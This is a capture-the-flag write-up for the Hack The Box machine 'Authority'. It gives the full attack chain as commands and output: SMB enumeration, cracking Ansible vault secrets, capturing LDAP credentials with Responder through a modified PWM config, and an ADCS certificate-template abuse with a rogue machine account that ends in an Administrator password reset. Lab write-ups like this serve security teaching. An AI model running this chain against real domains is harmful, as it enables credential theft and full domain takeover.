We can begin with a port scan as usual:
╰─ nmap -sC -sV 10.129.158.17
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-17 16:21 EDT
Nmap scan report for 10.129.158.17
Host is up (0.030s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-18 00:22:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2023-07-18T00:22:59+00:00; +4h00m01s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2023-07-18T00:22:58+00:00; +4h00m00s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-18T00:22:59+00:00; +4h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2023-07-18T00:22:58+00:00; +4h00m00s from scanner time.
8443/tcp open ssl/https-alt
|_ssl-date: TLS randomness does not represent time
|_http-title: Site doesnt have a title (text/html;charset=ISO-8859-1).
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2023-07-15T23:33:09
|_Not valid after: 2025-07-17T11:11:33
| fingerprint-strings:
| FourOhFourRequest, GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=ISO-8859-1
| Content-Length: 82
| Date: Tue, 18 Jul 2023 00:22:16 GMT
| Connection: close
| <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET, HEAD, POST, OPTIONS
| Content-Length: 0
| Date: Tue, 18 Jul 2023 00:22:16 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1936
| Date: Tue, 18 Jul 2023 00:22:21 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
---SNIP---
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-07-18T00:22:49
|_ start_date: N/A
|_clock-skew: mean: 4h00m00s, deviation: 0s, median: 3h59m59s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.98 seconds
So we see some LDAP, SMB, RPC, and some more seemingly standard stuff like DNS and Kerberos. We do see a few ports for HTTP on 80 and 8443.
Port 80 is, as the scan results suggest, the default Microsoft IIS page, but we can go look at the other port using HTTP.
After adding authority.htb to our /etc/hosts file we see the following on port 8443:

Based on a bit of googling, PWM is a password self-service application for LDAP.
When trying to log in with some random credentials we get an error message:

When looking around in the page source we see that this is using version 2.0.3 and at the time of writing this, the most updated version of PWM is 2.0.6 but I didn’t find any exploits when I did a few searches online.
I bet we will come back to this but until we do, let’s enumerate some other parts of the machine. I wasn’t able to get much from a null session with rpcclient, but smbmap gave some more promising info:
╰─ smbmap -H 10.129.158.17 -u " "
[+] Guest session IP: 10.129.158.17:445 Name: authority.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Department Shares NO ACCESS
Development READ ONLY
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
SYSVOL NO ACCESS Logon server share
Nice, let’s go ahead and look around in the Development directory:
╰─ smbclient -N //10.129.158.17/Development
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Mar 17 09:20:38 2023
.. D 0 Fri Mar 17 09:20:38 2023
Automation D 0 Fri Mar 17 09:20:40 2023
5888511 blocks of size 4096. 1340213 blocks available
smb: \> cd Automation
smb: \Automation\> ls
. D 0 Fri Mar 17 09:20:40 2023
.. D 0 Fri Mar 17 09:20:40 2023
Ansible D 0 Fri Mar 17 09:20:50 2023
5888511 blocks of size 4096. 1340213 blocks available
smb: \Automation\> cd Ansible
smb: \Automation\Ansible\> ls
. D 0 Fri Mar 17 09:20:50 2023
.. D 0 Fri Mar 17 09:20:50 2023
ADCS D 0 Fri Mar 17 09:20:48 2023
LDAP D 0 Fri Mar 17 09:20:48 2023
PWM D 0 Fri Mar 17 09:20:48 2023
SHARE D 0 Fri Mar 17 09:20:48 2023
5888511 blocks of size 4096. 1340175 blocks available
This looks pretty interesting to look through so let’s go ahead and download a copy of the Ansible directory:
smb: \Automation\> prompt off
smb: \Automation\> recurse on
smb: \Automation\> mget *
getting file \Automation\Ansible\ADCS\.ansible-lint of size 259 as Ansible/ADCS/.ansible-lint (2.1 KiloBytes/sec) (average 2.1 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\.yamllint of size 205 as Ansible/ADCS/.yamllint (1.7 KiloBytes/sec) (average 1.9 KiloBytes/sec)
---SNIP---
The PWM directory is interesting because it ties back to the web page that we saw a bit ago. In the /defaults directory of that folder, we see a file called main.yml that appears to be storing hashed credentials:
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"
pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true
pwm_require_ssl: false
pwm_admin_login: !vault |
$ANSIBLE_VAULT;1.1;AES256
3266---SNIP---3438
pwm_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
3135---SNIP---6531
ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
$ANSIBLE_VAULT;1.1;AES256
6330---SNIP---3764
There is a helpful GitBook with a page about cracking ansible vault credentials here.
What I ended up doing was writing each of the credentials into their own files named vault1, vault2, and vault3 respectively. I formatted each file to only include two lines like this:
$ANSIBLE_VAULT;1.1;AES256
3266---SNIP---
We can then use ansible2john to get hashes from these values that we can crack later:
╰─ ansible2john vault1.yml
vault1.yml:$ansible$0*0*2fe48d56---SNIP---
We can do this for all three hashes and run it through hashcat, but you’ll get the same decryption key/password for each credential:
╰─ hashcat -m 16900 hashes.txt ~/Desktop/Useful-Misc./rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
---SNIP---
$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5:!------*
$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8:!------*
$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635:!------*
---SNIP---
Now that we have the key, we can decrypt each of the vault files using ansible-vault:
╰─ cat vault1.yml | ansible-vault decrypt
Vault password:
Decryption successful
svc_pwm
In this case, we get the admin_login value, which is the username svc_pwm. We can do the same for the other vaults to get the credential for this user and for LDAP.
We can use the svc_pwm user’s password to log into the configuration manager page seen below:

Once logged in we have a bit more information to use:

We can download a variety of files from this site, but it is worth noting that we can import the configuration after modifying it.
Let’s download the configuration and see if there is anything we could change that might give us more useful information:
---SNIP---
<setting key="ldap.serverUrls" modifyTime="2022-08-11T01:46:23Z" profile="default" syntax="STRING_ARRAY" syntaxVersion="0">
<label>LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP URLs</label>
<value>ldaps://authority.authority.htb:636</value>
---SNIP---
One of these settings does exactly what we are looking for by allowing us to set the URL we want PWM to use.
We can change this to point to our IP address while running responder to sniff out credentials from the traffic that this might generate.
First, we want to spin up responder on tun0 which is the interface openvpn is running on in my case:
╰─ sudo responder -I tun0
[sudo] password for kali:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
To support this project:
Patreon -> https://www.patreon.com/PythonResponder
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
---SNIP---
Next, we edit the xml file to point to our address on port 389, which is the default port for LDAP:
---SNIP---
<setting key="ldap.serverUrls" modifyTime="2022-08-11T01:46:23Z" profile="default" syntax="STRING_ARRAY" syntaxVersion="0">
<label>LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP URLs</label>
<value>ldap://<YOUR_IP>:389</value>
---SNIP---
Note: for whatever reason, I only got this to work with ldap:// preceding the IP, I am not sure why ldaps:// doesn’t work here but thought I should mention it.
Once importing this new configuration file, we will see some new traffic over responder:
---SNIP---
[+] Listening for events...
[LDAP] Cleartext Client : 10.129.158.17
[LDAP] Cleartext Username : CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
[LDAP] Cleartext Password : l****************!
[*] Skipping previously captured cleartext password for CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
[*] Skipping previously captured cleartext password for CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
My initial port scan wasn’t very thorough, so let’s double check if Windows Remote Management (WinRM) is running on its default port of 5985:
╰─ nmap -sC -sV 10.129.158.17 -p 5985
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-17 19:13 EDT
Nmap scan report for authority.htb (10.129.158.17)
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Looks good to me, let’s see if we can log in as svc_ldap by using evil-winrm:
╰─ evil-winrm -i <Target_IP> -u svc_ldap -p 'l****************!'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> ls
Directory: C:\Users\svc_ldap\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 7/17/2023 7:35 PM 34 user.txt
Nice, looks like we’ve got the user flag. Let’s see how we might be able to escalate our privileges.
There are a lot of different things that we could look for here, we could look for Kerberoastable users, we could look for ACLs to abuse or try any number of things. Instead of doing a bunch of uploading tools and shooting in the dark, we can just look around first.
If we back up to the C:/ directory, we will see a directory called Certs:
*Evil-WinRM* PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/23/2023 6:16 PM Certs
d----- 3/28/2023 1:59 PM Department Shares
d----- 3/17/2023 9:20 AM Development
d----- 8/9/2022 7:00 PM inetpub
d----- 3/24/2023 8:22 PM PerfLogs
d-r--- 3/25/2023 1:20 AM Program Files
d----- 3/25/2023 1:19 AM Program Files (x86)
d----- 7/17/2023 10:59 PM pwm
d-r--- 3/24/2023 11:27 PM Users
d----- 7/12/2023 1:19 PM Windows
-a---- 8/10/2022 8:44 PM 84784749 pwm-onejar-2.0.3.jar
This folder has one file that we can’t read without a password but it gives us ideas to start enumerating certificates on the target:
*Evil-WinRM* PS C:\> certutil
Entry 0: (Local)
Name: "AUTHORITY-CA"
Organizational Unit: ""
Organization: ""
Locality: ""
State: ""
Country/region: ""
Config: "authority.authority.htb\AUTHORITY-CA"
Exchange Certificate: ""
Signature Certificate: "authority.authority.htb_AUTHORITY-CA.crt"
Description: ""
Server: "authority.authority.htb"
Authority: "AUTHORITY-CA"
Sanitized Name: "AUTHORITY-CA"
Short Name: "AUTHORITY-CA"
Sanitized Short Name: "AUTHORITY-CA"
Flags: "13"
Web Enrollment Servers: ""
CertUtil: -dump command completed successfully.
This tells us the name for the certificate authority and a bit more information. I think given the name of this machine is Authority it might be worth investigating certificates more.
We can upload Cerfity.exe and use it to enumerate potential vulnerable certificates:
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> ./Certify.exe find /vulnerable
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=authority,DC=htb'
[*] Listing info about the Enterprise CA 'AUTHORITY-CA'
Enterprise CA Name : AUTHORITY-CA
DNS Hostname : authority.authority.htb
FullName : authority.authority.htb\AUTHORITY-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=AUTHORITY-CA, DC=authority, DC=htb
Cert Thumbprint : 42A80DC79DD9CE76D032080B2F8B172BC29B0182
Cert Serial : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
Cert Start Date : 4/23/2023 9:46:26 PM
Cert End Date : 4/23/2123 9:56:25 PM
Cert Chain : CN=AUTHORITY-CA,DC=authority,DC=htb
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates HTB\Domain Admins S-1-5-21-622327497-3269355298-2248959698-512
Allow ManageCA, ManageCertificates HTB\Enterprise Admins S-1-5-21-622327497-3269355298-2248959698-519
Enrollment Agent Restrictions : None
[!] Vulnerable Certificates Templates :
CA Name : authority.authority.htb\AUTHORITY-CA
Template Name : CorpVPN
Schema Version : 2
Validity Period : 20 years
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Document Signing, Encrypting File System, IP security IKE intermediate, IP security user, KDC Authentication, Secure Email
mspki-certificate-application-policy : Client Authentication, Document Signing, Encrypting File System, IP security IKE intermediate, IP security user, KDC Authentication, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : HTB\Domain Admins S-1-5-21-622327497-3269355298-2248959698-512
HTB\Domain Computers S-1-5-21-622327497-3269355298-2248959698-515
HTB\Enterprise Admins S-1-5-21-622327497-3269355298-2248959698-519
Object Control Permissions
Owner : HTB\Administrator S-1-5-21-622327497-3269355298-2248959698-500
WriteOwner Principals : HTB\Administrator S-1-5-21-622327497-3269355298-2248959698-500
HTB\Domain Admins S-1-5-21-622327497-3269355298-2248959698-512
HTB\Enterprise Admins S-1-5-21-622327497-3269355298-2248959698-519
WriteDacl Principals : HTB\Administrator S-1-5-21-622327497-3269355298-2248959698-500
HTB\Domain Admins S-1-5-21-622327497-3269355298-2248959698-512
HTB\Enterprise Admins S-1-5-21-622327497-3269355298-2248959698-519
WriteProperty Principals : HTB\Administrator S-1-5-21-622327497-3269355298-2248959698-500
HTB\Domain Admins S-1-5-21-622327497-3269355298-2248959698-512
HTB\Enterprise Admins S-1-5-21-622327497-3269355298-2248959698-519
Certify completed in 00:00:09.6230027
So the CorpVPN template has the ENROLLEE_SUPPLIES_SUBJECT flag set, which means that whoever is issuing the certificate can choose the subject name for the request.
It looks like all Domain Admins, Domain Computers, and Enterprise Admins can enroll others with this certificate.
Let’s enumerate our own privileges to see if we can use this certificate as it is:
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> net user /domain svc_ldap
User name svc_ldap
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 8/10/2022 9:29:31 PM
Password expires Never
Password changeable 8/11/2022 9:29:31 PM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 7/5/2023 8:43:09 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
Unfortunately, we can’t use the certificate at the moment. Thankfully, we have a trick up our sleeve that we can use.
Because Domain Computers can use this certificate, we should see if we can just add one to the domain. We can verify this by checking the status of MachineAccountQuota.
To summarize, if this value is set higher than zero, certain underprivileged domain users will be able to join machine accounts to the domain.
Let’s check and see what it is set to:
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> Import-Module ActiveDirectory
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'
ms-ds-machineaccountquota
-------------------------
10
Nice, we should be able to add a computer with impacket-addcomputer:
╰─ impacket-addcomputer authority.htb/svc_ldap:'l****************!' -computer-name Gabe$ -computer-pass SuperGoodPassword
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Successfully added machine account Gabe$ with password SuperGoodPassword.
Let’s check and see if it was added using CrackMapExec:
╰─ crackmapexec smb 10.129.158.17 -u 'Gabe$' -p 'SuperGoodPassword' -d authority.htb
SMB 10.129.158.17 445 AUTHORITY [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB 10.129.158.17 445 AUTHORITY [+] authority.htb\Gabe$:SuperGoodPassword
Looks good to me, now let’s use this machine account we made to get that certificate using certipy:
╰─ certipy-ad req -u 'Gabe$' -p 'SuperGoodPassword' -ca AUTHORITY-CA -target authority.htb -template CorpVPN -upn 'Administrator' -dc-ip 10.129.158.17
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
From here we have a few options. We can use a tool like passthecert from impacket to get a foothold.
In my first attempt I added svc_ldap to the Administrators group by using LDAP, but this time I decided to just change the password for the administrator user with the modify_users action.
To do this, first we need to make user.crt and user.key files:
╰─ certipy-ad cert -pfx administrator.pfx -nokey -out user.crt
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Writing certificate and to 'user.crt'
╰─ certipy-ad cert -pfx administrator.pfx -nocert -out user.key
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Writing private key to 'user.key'
Then we can change the administrator’s password:
╰─ python3 passthecert.py -action modify_user -crt user.crt -key user.key -domain authority.htb -dc-ip 10.129.158.17 -target administrator -new-pass
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Successfully changed administrator password to: BsJEXhqxgHVao5MYh8Pkg3qDF4HrXENm
Now it is as simple as remoting in with these credentials using evil-winrm:
╰─ evil-winrm -i 10.129.158.17 -u Administrator -p 'BsJEXhqxgHVao5MYh8Pkg3qDF4HrXENm'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>